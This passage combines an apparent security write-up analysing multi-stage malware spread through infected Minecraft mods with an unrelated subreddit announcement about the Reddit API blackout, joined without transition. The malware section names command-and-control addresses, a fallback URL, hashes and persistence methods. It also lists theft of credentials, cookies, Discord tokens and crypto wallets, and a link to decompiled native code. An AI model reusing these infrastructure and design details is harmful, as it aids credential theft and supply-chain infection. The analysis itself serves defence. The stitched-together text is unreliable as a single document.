• Vault Integrations: “-114.-18.38.108.-100 ”

The passed numerals are parsed as bytes by Stage1 and written to a file named “.ref”. They appear to be a way for the author to track infection sources.
The creation of the classloader is hardcoded to that URL and does not use the Cloudflare URL that Stage 1 does. As that IP is now offline, this means the Stage 0 payloads we are presently aware of no longer function.

Stage1 (dl.jar)

SHA-1: dc43c4685c3f47808ac207d1667cc1eb915b2d82
Decompiled copy of Utility from the malware.
The very first thing Utility.run does is check if the system property neko.run is set. If it is, it will immediately stop executing. If not, it sets it to the empty string and continues. This appears to be a very simplistic way of avoiding the same process running the malware multiple times, such as if it had multiple infected mods. This cannot be relied upon as a killswitch because Stage1 is downloaded from the Internet and may change.
It attempts to contact 85.217.144.130 , and a Cloudflare Pages domain (https://[files-8ie.pages.dev]/ip ). Yes, people have already reported abuse. The Pages domain is used to retrieve the IP of the C&C server if the first IP no longer responds — the URL responds with a 4 byte file which is just a binary IPv4 address.
The C&C IP has been nullrouted after an abuse report to the server provider. We will need to keep an eye on the Cloudflare page to see if a new C&C server is stood up, I can’t imagine they didn’t plan for this. Thank you Serverion for your prompt response.
Stage 1 then attempts to achieve persistence by doing the following:

1. Downloading stage 2 (lib.jar on Linux, libWebGL64.jar on Windows) from the server
2. Making stage 2 run automatically on startup:

• On Linux, it tries placing systemd unit files in /etc/systemd/system or ~/.config/systemd/user
  
  • The unit file it places in the user folder never works, because it tries using multi-user.target , which doesn’t exist for user units
• On Windows, it attempts to modify the registry to start itself, or failing that, tries adding itself to the Windows\Start Menu\Programs\Startup folder
  

Stage2 (lib.jar or libWebGL64.jar)

Known sha1 hashes:

• 52d08736543a240b0cbbbf2da03691ae525bb119
• 6ec85c8112c25abe4a71998eb32480d266408863 (Shadowex3’s earlier upload)

Stage 2 is obfuscated with a demo version of the Allatori obfuscator, and its main class is called Bootstrap .
TODO, describe the double wrapped behaviour.
Stage 2 downloads stage 3, client.jar , loads its code, and executes the start method located within dev.neko.nekoclient.Client .

Stage3 (client.jar)

sha-1: c2d0c87a1fe99e3c44a52c48d8bcf65a67b3e9a5
client.jar is an incredibly obfuscated and complex bundle of code and contains both java and native code.
It appears to contain a native payload hook.dll , decompiled: https://gist.githubusercontent.com/NotNite/79ab1e5501e1ef109e8030059356b1b8/raw/c2102bf5ff74275ac44c2200d5121bfff652fd49/hook.dll.c
There are two native functions meant to be called from Java, as they are JNI callable:

• __int64 __fastcall Java_dev_neko_nekoclient_api_windows_WindowsHook_retrieveClipboardFiles(__int64 a1);
• __int64 __fastcall Java_dev_neko_nekoclient_api_windows_WindowsHook_retrieveMSACredentials(__int64 a1);

from analysis, these do what they say on the tin:

• read clipboard contents
• Steal Microsoft account credentials

There is also evidence of code attempting to do the following:

• Scan for all JAR files on the system that look like Minecraft mods (by detecting Forge/Fabric/Quilt/Bukkit) and attempt to inject stage 0 into them
• Steal cookies and login information for many web browsers
• Replace cryptocurrency addresses in the clipboard with alternates that are presumably owned by the attacker
• Steal Discord credentials
• Steal Microsoft and Minecraft credentials, from a variety of launchers
• Steal crypto wallets

Jars are heuristically detected as Minecraft mods or plugins as follows:

• Forge (dev/neko/e/e/e/A): The malware attempts to locate the u/Mod annotation, which is required in every mod
• Bukkit (dev/neko/e/e/e/C): The malware checks if a class extends Bukkit’s JavaPlugin class
• Fabric/Quilt (dev/neko/e/e/e/i): The malware checks if a class implements ModInitializer
• Bungee (dev/neko/e/e/e/l): The malware checks if a class extends Bungee’s Plugin class
• Vanilla (dev/neko/e/e/e/c): The malware checks if the main client class net.minecraft.client.main.Main exists

Follow-Ups

While it’s a bit early to speak of long term follow-ups, this whole debacle has brought up several critical flaws in the modded Minecraft ecosystem. This section is just brainstorming on them and how we can improve.

1. Review at mod repositories is inadequate What exactly does CurseForge and Modrinth do when “reviewing” a mod? We should know as a community, instead of relying on security through obscurity. Should be we be running some sort of static analysis? (williewillus has a few ideas here)
2. A lack of code signing for mods Unlike the software industry at large, mods released and uploaded to repositories are usually not signed with a signing key that proves that the owner of the key uploaded the mod. Having signing and a separate key distribution/trust mechanism mitigates compromise of CurseForge accounts. However, this then leads to the greater issue of how to derive key trust, as the fact that “this jar has this signature” has to be communicated out of band from CurseForge/Modrinth, in a standard way so that loaders or users can verify the signatures. Forge tried to introduce signing many years ago and it had limited uptake.
3. A lack of reproducible builds Minecraft toolchains are a mess, and builds are usually not reproducible. It is common to have buildscripts fetching unpinned -SNAPSHOT versions of random Gradle plugins and using them, which results in artifacts that are non-reproducible and thus non-auditable. A random Gradle plugin being a future attack vector is not out of the question.
4. Lack of sandboxing of Minecraft itself Java edition modding has always had the full power of Java, and this is the other side of that double-edged sword: malicious code has far-reaching impact. Minecraft itself is not run with any sandboxing, and servers usually are not sandboxed unless the owner is knowledgeable enough to do so.

Good sandboxing is difficult, especially on systems such as Linux where SELinux/AppArmor have such poor UX that no one deploys them.

Curseforge is aware of the issue keep an eye in their discord for announcements.

Hey there sadcats
Recently Reddit Inc has announced changes to their API which, if enacted, will shut down many, if not all, 3rd party apps that a large number of Redditors use to access and enjoy their favorite communities.
One of the most critical changes to the API is that it is moving from a free to a paid model, resulting in expenses that developers of 3rd party apps simply cannot afford. To put the price change into context, Apollo, one of the most popular 3rd party apps for Reddit, is looking at a cost of $1.7 million per month to continue operating. That's a cost of $12,000 per 50 million API requests. In contrast, Apollo pays Imgur $166 for every 50 million API calls.
This means popular apps like Apollo, Reddit Is Fun, Narwhal and many more will have to shut down, permanently.
Even if you're not using a 3rd party app yourself, these changes are likely to impact the communities you enjoy as well, with the vast majority of moderation teams relying on 3rd party or self-made tools, that utilize Reddit's API.
And on top of all that, it paints a bleak picture of what is to come for those of us who use other tools, like Reddit Enhancement Suite and old.reddit.com.
Here's a little TLDR on why this is important.
So what are we planning?
On June 12th, we and a growing number of other subs - large and small - will go dark for 48 hours. During that time, you will not be able to view or post any content on sadcats.
We understand that Reddit is a company that has to make money in order to offer us a place to be the community that we are - but killing beloved 3rd party apps is not the way to do it.
We are not asking Reddit to provide a paid service for free - we are asking for reasonable pricing for apps that people have come to love and depend on to participate in their communities.
We can't tell you that the blackout will solve the problem because we simply don't know. But we have to try.
What you can do to support this
While subs going dark is one thing, regular users can help as well.
Reach out to Reddit via the channels available to you: Modmail reddit, comment in relevant posts regarding the API changes, and submit your comments via the contact forms.
Spread the word about the changes and the consequences where you can. Doesn't have to be on Reddit. The important thing is getting its attention.
Participate in the communities that highlight this issue: Save3rdPartyApps, apolloapp, redditisfun, getnarwhal/
And finally, stay off Reddit completely from June 12th to 14th. The blackout is one thing, but users staying away from the site entirely will send an equally important message.
But don't forget: Don't be a jerk. As frustrating as this is, being toxic or aggressive is not the way to go. Remember the human on the other side of the screen.
